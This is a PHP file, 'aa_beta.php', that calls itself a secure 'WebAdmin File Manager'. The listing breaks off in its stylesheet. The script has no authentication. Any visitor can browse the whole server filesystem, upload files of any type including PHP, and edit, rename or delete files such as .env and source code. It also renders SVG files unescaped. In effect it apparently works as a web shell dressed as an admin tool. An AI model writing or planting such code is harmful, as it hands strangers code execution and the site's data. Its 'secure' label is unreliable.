đŸ‘ī¸ Viewing: aa_beta.php

âœī¸ Edit đŸ“Ĩ Download ← Back
<?php
/**
 * ============================================
 * WebAdmin File Manager v2.0
 * ============================================
 * Secure File Management System
 * Features: Upload, Download, Edit, View, Create, Rename, Delete
 * 
 * @package    WebAdminFileManager
 * @version    2.0.0
 * @author     System Administrator
 * @license    Proprietary
 * ============================================
 */

// Prevent direct access to this file from external sources
if (!defined('WEB_ADMIN_FM')) {
    define('WEB_ADMIN_FM', true);
}

// ==========================================
// Configuration Settings
// ==========================================
 $appConfig = [
    'app_name'          => 'WebAdmin FileManager',
    'version'           => '2.0.0',
    'session_lifetime'  => 7200,  // 2 hours
    'debug_mode'        => false,
    'root_directory'    => __DIR__,
    'allowed_exts'      => [],    // Empty array = allow all extensions
    'max_file_size'     => 1073741824, // 1GB in bytes
    'editable_exts'     => [
        'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
        'php', 'phtml', 'html', 'htm', 'xhtml', 'css', 'scss',
        'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte',
        'py', 'rb', 'pl', 'sh', 'bash',
        'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs',
        'sql', 'env', 'conf', 'cfg', 'ini',
        'htaccess', 'gitignore', 'dockerfile', 'makefile'
    ],
    'image_exts'        => [
        'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico'
    ],
    'code_exts'         => [
        'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql',
        'py', 'rb', 'sh', 'yaml', 'yml', 'md', 'c', 'cpp', 'java',
        'go', 'rs', 'ts', 'vue', 'jsx', 'tsx', 'scss', 'sass'
    ],
    'special_filenames' => [
        '.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile',
        '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile',
        'composer.json', 'package.json', 'webpack.config.js'
    ]
];

// ==========================================
// PHP Environment Setup
// ==========================================
set_time_limit(300);
ini_set('upload_max_filesize', '512M');
ini_set('post_max_size', '600M');
ini_set('memory_limit', '256M');

// Directory separator constant
if (!defined('DIRECTORY_SEPARATOR')) {
    define('DS', '/');
} else {
    define('DS', DIRECTORY_SEPARATOR);
}

// ==========================================
// Session Management
// ==========================================
if (session_status() === PHP_SESSION_NONE) {
    $cookieOptions = [
        'lifetime' => $appConfig['session_lifetime'],
        'path'     => '/',
        'secure'   => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
        'httponly'  => true,
        'samesite'  => 'Strict'
    ];
    session_set_cookie_params($cookieOptions);
    session_start();
}

// Generate CSRF token if not exists
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
 $csrfToken = $_SESSION['csrf_token'];

// ==========================================
// Error Reporting Configuration
// ==========================================
if ($appConfig['debug_mode'] === true) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

// ==========================================
// Utility Functions
// ==========================================

/**
 * Sanitize string for safe output
 */
function escapeOutput($string) {
    if (is_array($string)) {
        return array_map('escapeOutput', $string);
    }
    return htmlspecialchars((string)$string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

/**
 * Get file extension in lowercase
 */
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

/**
 * Check if file is editable based on extension
 */
function isEditableFile($filename) {
    global $appConfig;
    $extension = getFileExtension($filename);
    $basename = strtolower(basename($filename));
    
    if (in_array($extension, $appConfig['editable_exts'])) {
        return true;
    }
    if (in_array($basename, $appConfig['special_filenames'])) {
        return true;
    }
    return false;
}

/**
 * Check if file is an image
 */
function isImageFile($filename) {
    global $appConfig;
    return in_array(getFileExtension($filename), $appConfig['image_exts']);
}

/**
 * Check if file is a code file (for syntax display)
 */
function isCodeFile($filename) {
    global $appConfig;
    return in_array(getFileExtension($filename), $appConfig['code_exts']);
}

/**
 * Format bytes to human readable format
 */
function formatFileSize($bytes) {
    if ($bytes === false || $bytes < 0) {
        return 'N/A';
    }
    if ($bytes === 0) {
        return '0 B';
    }
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $exponent = floor(log($bytes, 1024));
    $value = $bytes / pow(1024, $exponent);
    return round($value, 2) . ' ' . $units[$exponent];
}

/**
 * Get file permissions string
 */
function getFilePermissions($filepath) {
    if (!file_exists($filepath)) {
        return '----------';
    }
    $permissions = fileperms($filepath);
    if ($permissions === false) {
        return '----------';
    }
    
    $type = '-';
    if (($permissions & 0xC000) === 0xC000) {
        $type = 's'; // Socket
    } elseif (($permissions & 0xA000) === 0xA000) {
        $type = 'l'; // Symbolic link
    } elseif (($permissions & 0x6000) === 0x6000) {
        $type = 'b'; // Block special
    } elseif (($permissions & 0x4000) === 0x4000) {
        $type = 'd'; // Directory
    }
    
    $result = $type;
    $result .= ($permissions & 00400) ? 'r' : '-';
    $result .= ($permissions & 00200) ? 'w' : '-';
    $result .= ($permissions & 00100) ? 'x' : '-';
    $result .= ($permissions & 00040) ? 'r' : '-';
    $result .= ($permissions & 00020) ? 'w' : '-';
    $result .= ($permissions & 00010) ? 'x' : '-';
    $result .= ($permissions & 00004) ? 'r' : '-';
    $result .= ($permissions & 00002) ? 'w' : '-';
    $result .= ($permissions & 00001) ? 'x' : '-';
    
    return $result;
}

/**
 * Get file owner and group
 */
function getFileOwner($filepath) {
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $ownerInfo = posix_getpwuid(fileowner($filepath));
        $groupInfo = posix_getgrgid(filegroup($filepath));
        $owner = isset($ownerInfo['name']) ? $ownerInfo['name'] : 'unknown';
        $group = isset($groupInfo['name']) ? $groupInfo['name'] : 'unknown';
        return $owner . ':' . $group;
    }
    return 'N/A';
}

/**
 * Get MIME type of file
 */
function getMimeType($filepath) {
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        if ($finfo !== false) {
            $mime = finfo_file($finfo, $filepath);
            finfo_close($finfo);
            if ($mime !== false) {
                return $mime;
            }
        }
    }
    if (function_exists('mime_content_type')) {
        $mime = mime_content_type($filepath);
        if ($mime !== false) {
            return $mime;
        }
    }
    return 'application/octet-stream';
}

/**
 * Check if content is binary
 */
function isBinaryContent($content) {
    if (empty($content)) {
        return false;
    }
    return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', substr($content, 0, 8192)) > 0;
}

/**
 * Verify CSRF token
 */
function verifyCsrfToken($token) {
    if (empty($token) || empty($_SESSION['csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION['csrf_token'], $token);
}

/**
 * Delete directory recursively
 */
function removeDirectory($dirPath) {
    if (!is_dir($dirPath)) {
        return unlink($dirPath);
    }
    
    $items = scandir($dirPath);
    if ($items === false) {
        return false;
    }
    
    $result = true;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $itemPath = $dirPath . DS . $item;
        if (is_dir($itemPath)) {
            $result = removeDirectory($itemPath) && $result;
        } else {
            $result = unlink($itemPath) && $result;
        }
    }
    return rmdir($dirPath) && $result;
}

/**
 * Send file for download
 */
function sendFileDownload($filepath, $filename) {
    if (!file_exists($filepath) || !is_readable($filepath)) {
        return false;
    }
    
    $mimeType = getMimeType($filepath);
    $fileSize = filesize($filepath);
    
    // Clean output buffer
    while (ob_get_level() > 0) {
        ob_end_clean();
    }
    
    // Set download headers
    header('Content-Description: File Transfer');
    header('Content-Type: ' . $mimeType);
    header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
    header('Content-Transfer-Encoding: binary');
    header('Content-Length: ' . $fileSize);
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Pragma: no-cache');
    header('Expires: 0');
    
    // Stream file content
    $handle = fopen($filepath, 'rb');
    if ($handle === false) {
        return false;
    }
    
    while (!feof($handle)) {
        echo fread($handle, 65536);
        flush();
    }
    fclose($handle);
    return true;
}

/**
 * Get icon for file type
 */
function getFileIcon($filename) {
    $ext = getFileExtension($filename);
    $iconMap = [
        'php'      => '🐘', 'phtml'    => '🐘',
        'html'     => '🌐', 'htm'      => '🌐',
        'css'      => '🎨', 'scss'     => '🎨', 'sass' => '🎨',
        'js'       => '📜', 'jsx'      => 'âš›ī¸', 'ts' => '📘', 'tsx' => 'âš›ī¸',
        'json'     => '📋', 'xml'      => '📋', 'yaml' => '📋', 'yml' => '📋',
        'py'       => '🐍', 'rb'       => '💎', 'java' => '☕',
        'go'       => 'đŸ”ĩ', 'rs'       => 'đŸĻ€',
        'c'        => 'âš™ī¸', 'cpp'      => 'âš™ī¸', 'h' => 'âš™ī¸',
        'sql'      => 'đŸ—ƒī¸', 'db'       => 'đŸ—ƒī¸', 'sqlite' => 'đŸ—ƒī¸',
        'md'       => '📝', 'txt'      => '📄', 'log' => '📋',
        'jpg'      => 'đŸ–ŧī¸', 'jpeg'     => 'đŸ–ŧī¸', 'png' => 'đŸ–ŧī¸',
        'gif'      => 'đŸ–ŧī¸', 'webp'     => 'đŸ–ŧī¸', 'svg' => 'đŸ–ŧī¸', 'ico' => 'đŸ–ŧī¸',
        'mp4'      => 'đŸŽŦ', 'avi'      => 'đŸŽŦ', 'mkv' => 'đŸŽŦ', 'mov' => 'đŸŽŦ',
        'mp3'      => 'đŸŽĩ', 'wav'      => 'đŸŽĩ', 'ogg' => 'đŸŽĩ',
        'pdf'      => '📕', 'doc'      => '📘', 'docx' => '📘',
        'xls'      => '📗', 'xlsx'     => '📗', 'csv' => '📗',
        'zip'      => 'đŸ“Ļ', 'rar'      => 'đŸ“Ļ', 'tar' => 'đŸ“Ļ', 'gz' => 'đŸ“Ļ',
        'env'      => '🔐', 'htaccess' => '🔐', 'conf' => 'âš™ī¸', 'ini' => 'âš™ī¸',
        'sh'       => 'đŸ’ģ', 'bash'     => 'đŸ’ģ',
        'dockerfile' => 'đŸŗ', 'gitignore' => 'đŸ“Ļ',
    ];
    
    return isset($iconMap[$ext]) ? $iconMap[$ext] : '📄';
}

/**
 * Build breadcrumb navigation HTML
 */
function buildBreadcrumbs($path, $token) {
    $parts = explode(DS, $path);
    $html = '<nav class="breadcrumb-nav">';
    $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $token . '" class="breadcrumb-root">/ Root</a>';
    
    $currentPath = '';
    $partCount = count($parts);
    $startIndex = 0;
    
    // Handle Windows drive letters
    if (!empty($parts[0]) && preg_match('/^[A-Za-z]:$/', $parts[0])) {
        $currentPath = $parts[0];
        $html .= ' <span class="breadcrumb-sep">/</span> ';
        $html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[0]) . '</a>';
        $startIndex = 1;
    } else {
        $startIndex = 1; // Skip empty first element for Unix paths
    }
    
    for ($i = $startIndex; $i < $partCount; $i++) {
        if (empty($parts[$i])) {
            continue;
        }
        $currentPath .= DS . $parts[$i];
        $html .= ' <span class="breadcrumb-sep">/</span> ';
        
        if ($i === $partCount - 1) {
            $html .= '<span class="breadcrumb-current">' . escapeOutput($parts[$i]) . '</span>';
        } else {
            $html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[$i]) . '</a>';
        }
    }
    
    $html .= '</nav>';
    return $html;
}

// ==========================================
// Initialize Variables
// ==========================================
 $scriptName = basename($_SERVER['PHP_SELF']);
 $statusMessage = '';
 $statusType = 'info';
 $viewContent = '';
 $editContent = '';
 $editFilename = '';
 $currentAction = '';

// ==========================================
// Determine Current Directory
// ==========================================
 $activeDir = realpath($appConfig['root_directory']);
if ($activeDir === false) {
    $activeDir = realpath(dirname(__FILE__));
}
if ($activeDir === false) {
    $activeDir = DS;
}

// Handle directory navigation
if (isset($_GET['cd']) && is_string($_GET['cd']) && !empty($_GET['cd'])) {
    $requestedDir = $_GET['cd'];
    $realRequestedDir = realpath($requestedDir);
    if ($realRequestedDir !== false && is_dir($realRequestedDir)) {
        $activeDir = $realRequestedDir;
    }
} elseif (isset($_SESSION['active_directory']) && is_dir($_SESSION['active_directory'])) {
    $activeDir = realpath($_SESSION['active_directory']);
    if ($activeDir === false) {
        $activeDir = DS;
    }
}

 $_SESSION['active_directory'] = $activeDir;
 $parentDir = dirname($activeDir);
 $hasParentDir = ($parentDir !== $activeDir && $parentDir !== false);

// ==========================================
// Process POST Requests
// ==========================================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $isTokenValid = isset($_POST['csrf_token']) && verifyCsrfToken($_POST['csrf_token']);
    
    if (!$isTokenValid) {
        $statusMessage = 'Security validation failed. Please refresh the page and try again.';
        $statusType = 'error';
    } else {
        // Handle File Upload
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $uploadedFile = $_FILES['upload_file'];
            $originalName = basename($uploadedFile['name']);
            $fileExtension = getFileExtension($originalName);
            $destinationPath = $activeDir . DS . $originalName;
            
            // Validate extension
            $isExtensionAllowed = empty($appConfig['allowed_exts']) || in_array($fileExtension, $appConfig['allowed_exts']);
            
            if (!$isExtensionAllowed) {
                $statusMessage = 'File type ".' . $fileExtension . '" is not permitted.';
                $statusType = 'error';
            } elseif ($uploadedFile['size'] > $appConfig['max_file_size']) {
                $statusMessage = 'File exceeds maximum allowed size (' . formatFileSize($appConfig['max_file_size']) . ').';
                $statusType = 'error';
            } else {
                $uploadSuccess = move_uploaded_file($uploadedFile['tmp_name'], $destinationPath);
                
                if ($uploadSuccess) {
                    chmod($destinationPath, 0644);
                    $statusMessage = 'File "' . $originalName . '" uploaded successfully.';
                    $statusType = 'success';
                } else {
                    $statusMessage = 'Failed to upload file. Please check directory permissions.';
                    $statusType = 'error';
                }
            }
        }
        
        // Handle Create Directory
        if (isset($_POST['new_folder_name']) && is_string($_POST['new_folder_name'])) {
            $folderName = trim($_POST['new_folder_name']);
            $folderName = basename($folderName);
            
            if (empty($folderName)) {
                $statusMessage = 'Folder name cannot be empty.';
                $statusType = 'error';
            } else {
                $newFolderPath = $activeDir . DS . $folderName;
                
                if (file_exists($newFolderPath)) {
                    $statusMessage = 'Folder "' . $folderName . '" already exists.';
                    $statusType = 'error';
                } elseif (mkdir($newFolderPath, 0755, true)) {
                    chmod($newFolderPath, 0755);
                    $statusMessage = 'Folder "' . $folderName . '" created successfully.';
                    $statusType = 'success';
                } else {
                    $statusMessage = 'Failed to create folder. Check permissions.';
                    $statusType = 'error';
                }
            }
        }
        
        // Handle Create File
        if (isset($_POST['new_file_name']) && is_string($_POST['new_file_name'])) {
            $fileName = trim($_POST['new_file_name']);
            $fileName = basename($fileName);
            
            if (empty($fileName)) {
                $statusMessage = 'File name cannot be empty.';
                $statusType = 'error';
            } else {
                $newFilePath = $activeDir . DS . $fileName;
                
                if (file_exists($newFilePath)) {
                    $statusMessage = 'File "' . $fileName . '" already exists.';
                    $statusType = 'error';
                } else {
                    $fileHandle = fopen($newFilePath, 'w');
                    if ($fileHandle !== false) {
                        fclose($fileHandle);
                        chmod($newFilePath, 0644);
                        $statusMessage = 'File "' . $fileName . '" created successfully.';
                        $statusType = 'success';
                    } else {
                        $statusMessage = 'Failed to create file. Check permissions.';
                        $statusType = 'error';
                    }
                }
            }
        }
        
        // Handle Rename
        if (isset($_POST['original_name'], $_POST['new_name']) && is_string($_POST['original_name']) && is_string($_POST['new_name'])) {
            $originalName = basename(trim($_POST['original_name']));
            $newName = basename(trim($_POST['new_name']));
            
            if (empty($originalName) || empty($newName)) {
                $statusMessage = 'File names cannot be empty.';
                $statusType = 'error';
            } elseif ($originalName === $newName) {
                $statusMessage = 'New name is the same as the original.';
                $statusType = 'error';
            } else {
                $originalPath = $activeDir . DS . $originalName;
                $newPath = $activeDir . DS . $newName;
                
                if (!file_exists($originalPath)) {
                    $statusMessage = 'Item "' . $originalName . '" not found.';
                    $statusType = 'error';
                } elseif (file_exists($newPath)) {
                    $statusMessage = 'An item named "' . $newName . '" already exists.';
                    $statusType = 'error';
                } elseif (rename($originalPath, $newPath)) {
                    $statusMessage = 'Renamed "' . $originalName . '" to "' . $newName . '".';
                    $statusType = 'success';
                } else {
                    $statusMessage = 'Rename failed. Check permissions.';
                    $statusType = 'error';
                }
            }
        }
        
        // Handle Save Edit
        if (isset($_POST['save_file_content'], $_POST['file_content'], $_POST['editing_filename'])) {
            $editingFilename = basename(trim($_POST['editing_filename']));
            $fileContent = $_POST['file_content'];
            $editingPath = $activeDir . DS . $editingFilename;
            
            if (!file_exists($editingPath)) {
                $statusMessage = 'File "' . $editingFilename . '" not found.';
                $statusType = 'error';
            } elseif (!is_writable($editingPath)) {
                $statusMessage = 'File "' . $editingFilename . '" is not writable.';
                $statusType = 'error';
            } else {
                // Decode HTML entities that were encoded for display
                $decodedContent = html_entity_decode($fileContent, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                
                $bytesWritten = file_put_contents($editingPath, $decodedContent);
                if ($bytesWritten !== false) {
                    $statusMessage = 'File "' . $editingFilename . '" saved successfully (' . formatFileSize($bytesWritten) . ').';
                    $statusType = 'success';
                } else {
                    $statusMessage = 'Failed to save file. Check disk space and permissions.';
                    $statusType = 'error';
                }
            }
        }
    }
}

// ==========================================
// Process GET Requests
// ==========================================
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // Handle Delete Action
    if (isset($_GET['delete'], $_GET['token'])) {
        if (verifyCsrfToken($_GET['token'])) {
            $deleteTarget = basename($_GET['delete']);
            $deletePath = $activeDir . DS . $deleteTarget;
            
            if (!file_exists($deletePath)) {
                $statusMessage = 'Item "' . $deleteTarget . '" not found.';
                $statusType = 'error';
            } else {
                $deleteSuccess = is_dir($deletePath) ? removeDirectory($deletePath) : unlink($deletePath);
                
                if ($deleteSuccess) {
                    $statusMessage = '"' . $deleteTarget . '" deleted successfully.';
                    $statusType = 'success';
                } else {
                    $statusMessage = 'Failed to delete "' . $deleteTarget . '". Check permissions.';
                    $statusType = 'error';
                }
            }
        } else {
            $statusMessage = 'Invalid security token.';
            $statusType = 'error';
        }
    }
    
    // Handle Download Action
    if (isset($_GET['download'], $_GET['token'])) {
        if (verifyCsrfToken($_GET['token'])) {
            $downloadFilename = basename($_GET['download']);
            $downloadPath = $activeDir . DS . $downloadFilename;
            
            if (file_exists($downloadPath) && is_file($downloadPath) && is_readable($downloadPath)) {
                sendFileDownload($downloadPath, $downloadFilename);
                exit;
            } else {
                $statusMessage = 'File "' . $downloadFilename . '" not found or not readable.';
                $statusType = 'error';
            }
        } else {
            $statusMessage = 'Invalid security token.';
            $statusType = 'error';
        }
    }
    
    // Handle View Action
    if (isset($_GET['view'])) {
        $viewFilename = basename($_GET['view']);
        $viewPath = $activeDir . DS . $viewFilename;
        $currentAction = 'view';
        
        if (!file_exists($viewPath)) {
            $viewContent = '<div class="alert alert-error">File not found.</div>';
        } elseif (!is_readable($viewPath)) {
            $viewContent = '<div class="alert alert-error">Permission denied: Cannot read this file.</div>';
        } else {
            $fileMime = getMimeType($viewPath);
            $fileExt = getFileExtension($viewFilename);
            
            // Display images
            if (isImageFile($viewFilename)) {
                if ($fileExt === 'svg') {
                    $svgData = file_get_contents($viewPath);
                    $viewContent = '<div class="image-preview">' . $svgData . '</div>';
                } else {
                    $imageData = base64_encode(file_get_contents($viewPath));
                    $viewContent = '<div class="image-preview"><img src="data:' . $fileMime . ';base64,' . $imageData . '" alt="' . escapeOutput($viewFilename) . '"></div>';
                }
            }
            // Display PDF
            elseif ($fileMime === 'application/pdf') {
                $pdfData = base64_encode(file_get_contents($viewPath));
                $viewContent = '<div class="pdf-preview"><embed src="data:application/pdf;base64,' . $pdfData . '" type="application/pdf" width="100%" height="600px"></div>';
                $viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download PDF</a></p>';
            }
            // Display video
            elseif (strpos($fileMime, 'video/') === 0) {
                $videoData = base64_encode(file_get_contents($viewPath));
                $viewContent = '<div class="media-preview"><video controls style="max-width:100%;"><source src="data:' . $fileMime . ';base64,' . $videoData . '" type="' . $fileMime . '"></video></div>';
            }
            // Display audio
            elseif (strpos($fileMime, 'audio/') === 0) {
                $audioData = base64_encode(file_get_contents($viewPath));
                $viewContent = '<div class="media-preview"><audio controls style="width:100%;"><source src="data:' . $fileMime . ';base64,' . $audioData . '" type="' . $fileMime . '"></audio></div>';
            }
            // Display text/code files
            else {
                $textContent = file_get_contents($viewPath);
                
                if ($textContent === false) {
                    $viewContent = '<div class="alert alert-error">Unable to read file content.</div>';
                } elseif (isBinaryContent($textContent)) {
                    $viewContent = '<div class="alert alert-warning">This is a binary file and cannot be displayed as text.</div>';
                    $viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download File</a></p>';
                } else {
                    $lineCount = substr_count($textContent, "\n") + 1;
                    $fileSize = filesize($viewPath);
                    
                    if (isCodeFile($viewFilename)) {
                        $viewContent = '<pre class="code-display"><code>' . escapeOutput($textContent) . '</code></pre>';
                    } else {
                        $viewContent = '<pre class="text-display">' . escapeOutput($textContent) . '</pre>';
                    }
                    
                    $viewContent .= '<div class="file-meta-bar">';
                    $viewContent .= '<span>Size: ' . formatFileSize($fileSize) . '</span>';
                    $viewContent .= '<span>Type: ' . $fileMime . '</span>';
                    $viewContent .= '<span>Lines: ' . $lineCount . '</span>';
                    $viewContent .= '</div>';
                }
            }
        }
    }
    
    // Handle Edit Action
    if (isset($_GET['edit'])) {
        $editFilename = basename($_GET['edit']);
        $editPath = $activeDir . DS . $editFilename;
        $currentAction = 'edit';
        
        if (!file_exists($editPath)) {
            $statusMessage = 'File "' . $editFilename . '" not found.';
            $statusType = 'error';
        } elseif (!is_readable($editPath)) {
            $statusMessage = 'Cannot read file "' . $editFilename . '". Permission denied.';
            $statusType = 'error';
        } elseif (!is_writable($editPath)) {
            $statusMessage = 'File "' . $editFilename . '" is read-only.';
            $statusType = 'error';
        } else {
            $fileContent = file_get_contents($editPath);
            
            if ($fileContent === false) {
                $statusMessage = 'Unable to read file content.';
                $statusType = 'error';
            } elseif (isBinaryContent($fileContent)) {
                $statusMessage = 'Binary files cannot be edited as text.';
                $statusType = 'error';
            } else {
                $editContent = $fileContent;
            }
        }
    }
    
    // Handle action parameter
    if (isset($_GET['action'])) {
        $currentAction = $_GET['action'];
    }
}

// ==========================================
// Get Directory Listing
// ==========================================
 $directoryItems = [];
 $directoryListing = scandir($activeDir);

if ($directoryListing !== false) {
    foreach ($directoryListing as $itemName) {
        if ($itemName === '.' || $itemName === '..') {
            continue;
        }
        
        $itemPath = $activeDir . DS . $itemName;
        $itemInfo = [
            'name'  => $itemName,
            'path'  => $itemPath,
            'is_dir' => is_dir($itemPath),
            'size'  => is_file($itemPath) ? filesize($itemPath) : false,
            'perms' => getFilePermissions($itemPath),
            'owner' => getFileOwner($itemPath),
            'mtime' => filemtime($itemPath),
            'ext'   => getFileExtension($itemName),
            'icon'  => is_dir($itemPath) ? '📁' : getFileIcon($itemName),
            'editable' => !is_dir($itemPath) && isEditableFile($itemName),
            'is_image' => isImageFile($itemName),
        ];
        $directoryItems[] = $itemInfo;
    }
    
    // Sort: directories first, then files, both alphabetically
    usort($directoryItems, function($a, $b) {
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });
}

// ==========================================
// HTML Output
// ==========================================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow">
    <title><?php echo escapeOutput($appConfig['app_name']); ?></title>
    <style>
        :root {
            --color-primary: #2563eb;
            --color-primary-dark: #1d4ed8;
            --color-primary-light: #dbeafe;
            --color-bg: #f1f5f9;
            --color-card: #ffffff;
            --color-text: #1e293b;
            --color-text-muted: #64748b;
            --color-border: #e2e8f0;
            --color-danger: #ef4444;
            --color-danger-dark: #dc2626;
            --color-success: #10b981;
            --color-success-dark: #059669;
            --color-warning: #f59e0b;
            --color-info: #0ea5e9;
            --color-code-bg: #1e293b;
            --color-code-text: #e2e8f0;
        }
        
        * { box-sizing: border-box; margin: 0; padding: 0; }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: var(--color-bg);
            color: var(--color-text);
            line-height: 1.6;
            padding: 20px;
        }
        
        .app-container {
            max-width: 1200px;
            margin: 0 auto;
            background: var(--color-card);
            border-radius: 12px;
            box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08);
            overflow: hidden;
        }
        
        .app-header {
            background: linear-gradient(135deg, var(--color-primary) 0%, #1e40af 100%);
            color: #fff;
            padding: 20px 24px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .app-header h1 { font-size: 1.4rem; font-weight: 600; }
        .app-header .header-info { font-size: 0.8rem; opacity: 0.9; text-align: right; }
        
        .toolbar {
            padding: 14px 20px;
            background: #f8fafc;
            border-bottom: 1px solid var(--color-border);
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 12px;
        }
        
        .breadcrumb-nav {
            font-size: 0.85rem;
            color: var(--color-text-muted);
            overflow-x: auto;
            white-space: nowrap;
            flex: 1;
            min-width: 200px;
        }
        
        .breadcrumb-root,
        .breadcrumb-link { color: var(--color-primary); text-decoration: none; font-weight: 500; }
        .breadcrumb-root:hover,
        .breadcrumb-link:hover { text-decoration: underline; }
        .breadcrumb-current { color: var(--color-text); font-weight: 700; }
        .breadcrumb-sep { margin: 0 4px; color: #94a3b8; }
        
        .toolbar-actions { display: flex; gap: 8px; flex-wrap: wrap; }
        
        .btn {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            padding: 8px 16px;
            border: none;
            border-radius: 6px;
            font-size: 0.85rem;
            font-weight: 500;
            cursor: pointer;
            text-decoration: none;
            white-space: nowrap;
            transition: all 0.2s ease;
        }
        
        .btn-primary { background: var(--color-primary); color: #fff; }
        .btn-primary:hover { background: var(--color-primary-dark); }
        
        .btn-secondary { background: #fff; color: var(--color-text); border: 1px solid var(--color-border); }
        .btn-secondary:hover { background: #f1f5f9; }
        
        .btn-danger { background: var(--color-danger); color: #fff; }
        .btn-danger:hover { background: var(--color-danger-dark); }
        
        .btn-success { background: var(--color-success); color: #fff; }
        .btn-success:hover { background: var(--color-success-dark); }
        
        .btn-sm { padding: 5px 12px; font-size: 0.8rem; }
        
        .main-content { padding: 20px; }
        
        /* Status Messages */
        .status-message {
            padding: 14px 18px;
            border-radius: 8px;
            margin-bottom: 20px;
            font-size: 0.9rem;
            animation: fadeIn 0.3s ease;
        }
        
        .status-success { background: #d1fae5; border-left: 4px solid var(--color-success); color: #065f46; }
        .status-error { background: #fee2e2; border-left: 4px solid var(--color-danger); color: #991b1b; }
        .status-warning { background: #fef3c7; border-left: 4px solid var(--color-warning); color: #92400e; }
        .status-info { background: #dbeafe; border-left: 4px solid var(--color-info); color: #1e40af; }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        /* File Table */
        .file-list-table {
            width: 100%;
            border-collapse: collapse;
            font-size: 0.85rem;
        }
        
        .file-list-table thead th {
            text-align: left;
            padding: 12px 14px;
            background: #f8fafc;
            border-bottom: 2px solid var(--color-border);
            color: var(--color-text-muted);
            font-weight: 600;
            font-size: 0.78rem;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .file-list-table tbody td {
            padding: 12px 14px;
            border-bottom: 1px solid var(--color-border);
            vertical-align: middle;
        }
        
        .file-list-table tbody tr:hover { background: #f8fafc; }
        
        .file-name-cell a {
            color: var(--color-text);
            text-decoration: none;
            font-weight: 500;
            display: inline-flex;
            align-items: center;
            gap: 10px;
        }
        
        .file-name-cell a:hover { color: var(--color-primary); }
        .file-icon { font-size: 1.3rem; flex-shrink: 0; }
        
        .file-actions-cell { display: flex; gap: 6px; flex-wrap: wrap; }
        
        .action-btn {
            color: var(--color-text-muted);
            font-size: 0.78rem;
            text-decoration: none;
            padding: 3px 10px;
            border-radius: 4px;
            transition: all 0.2s;
            cursor: pointer;
            background: none;
            border: none;
            font-family: inherit;
        }
        
        .action-btn:hover { background: var(--color-primary-light); color: var(--color-primary); }
        .action-btn.delete-btn { color: var(--color-danger); }
        .action-btn.delete-btn:hover { background: #fee2e2; }
        
        .size-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.8rem; }
        .perms-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.75rem; color: var(--color-text-muted); }
        .owner-text { font-size: 0.75rem; color: var(--color-text-muted); }
        .date-text { font-size: 0.8rem; color: var(--color-text-muted); }
        
        /* Forms */
        .form-panel {
            background: #f8fafc;
            border: 1px solid var(--color-border);
            border-radius: 8px;
            padding: 24px;
            margin-bottom: 20px;
        }
        
        .form-panel h3 { margin-bottom: 16px; font-size: 1.1rem; }
        
        .form-row {
            display: flex;
            gap: 12px;
            align-items: center;
        }
        
        .form-input {
            flex: 1;
            padding: 10px 14px;
            border: 1px solid var(--color-border);
            border-radius: 6px;
            font-size: 0.9rem;
            font-family: inherit;
            transition: border-color 0.2s;
        }
        
        .form-input:focus {
            outline: none;
            border-color: var(--color-primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
        }
        
        /* Code/Text Display */
        .code-display {
            background: var(--color-code-bg);
            color: var(--color-code-text);
            padding: 20px;
            border-radius: 8px;
            overflow: auto;
